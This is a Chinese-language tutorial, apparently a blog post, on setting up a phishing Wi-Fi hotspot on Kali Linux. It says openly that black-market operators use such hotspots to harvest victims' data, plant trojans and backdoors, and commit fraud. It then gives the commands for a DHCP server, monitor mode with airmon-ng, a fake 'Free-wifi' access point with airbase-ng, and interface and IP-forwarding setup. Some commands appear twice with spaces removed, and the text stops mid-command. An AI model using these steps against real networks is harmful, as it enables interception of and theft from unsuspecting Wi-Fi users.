现在日常生活中wifi使用现象比较普遍，以前还流行过一段时间破解wifi的工具，或者共享wifi的工具。但是这些陌生人的wifi其实都存在一定的安全隐患，说不定就存在钓鱼wifi，这里就介绍一下搭建钓鱼wifi的操作。
搭建钓鱼wifi的原理其实比较简单，具体实施以前没接触过感觉会有点麻烦，只要实操几遍，也就感觉so easy了。而且真正要用钓鱼wifi做黑产的话，难的也不是搭建钓鱼wifi，而是鱼吃钩之后，怎么将鱼钓上岸，既获取鱼的信息、给鱼植入木马、给鱼留个后门，真正要用将鱼转换成收入，还要经过好几次转换呢，比较常见的就是利用鱼的信息、后门进行诈骗。
钓鱼wifi原理示意图
我使用的是kali系统，所以后面的操作也都是在kali系统基础上的，如果你用centOS，或者其他Linux系统，可能需要将命令转换一下。
安装DHCP服务
这个比较简单，直接一个命令完成：
aptinstallisc-dhcp-server
因为我前面已经安装过了，执行之后就是这样的：
apt install isc-dhcp-server
将网卡切换到监听模式并创建热点
如果你是虚拟机，就需要安装compat-wireless来生成wlan，最好是真机，虚拟机会导致后续wifi使用的一些问题。
将wlan0切换到监听模式：
airmon-ngstartwlan0
airmon-ng start wlan0
如果要看是否启动成功，可以用ifconfig看一下有没有wlan0mon出现。
ifconfig
创建热点的命令也很简单，-e参数后面的值是热点名称：
airbase-ng -e"Free-wifi"-c6wlan0mon
airbase-ng -e "Free-wifi" -c 6 wlan0mon
开启成功后，这个窗口不要关闭。后续的动作到新窗口中操作。
建立虚拟网卡并打开IP转发功能
这一步的意义是将这张网卡的流量转发到虚拟网卡上：
建立虚拟网卡ifconfigat0up给虚拟网卡配置ip和掩码ifconfigat0192.168.2.1netmask255.255.255.0给虚拟网卡配置路由和网关routeadd-net192.168.2.0netmask255.255.255.0gw192.168.2.1设置允许数据包转发，默认是0，代表不允许本机网卡之间转发数据包，每次启动都会恢复默认值0echo1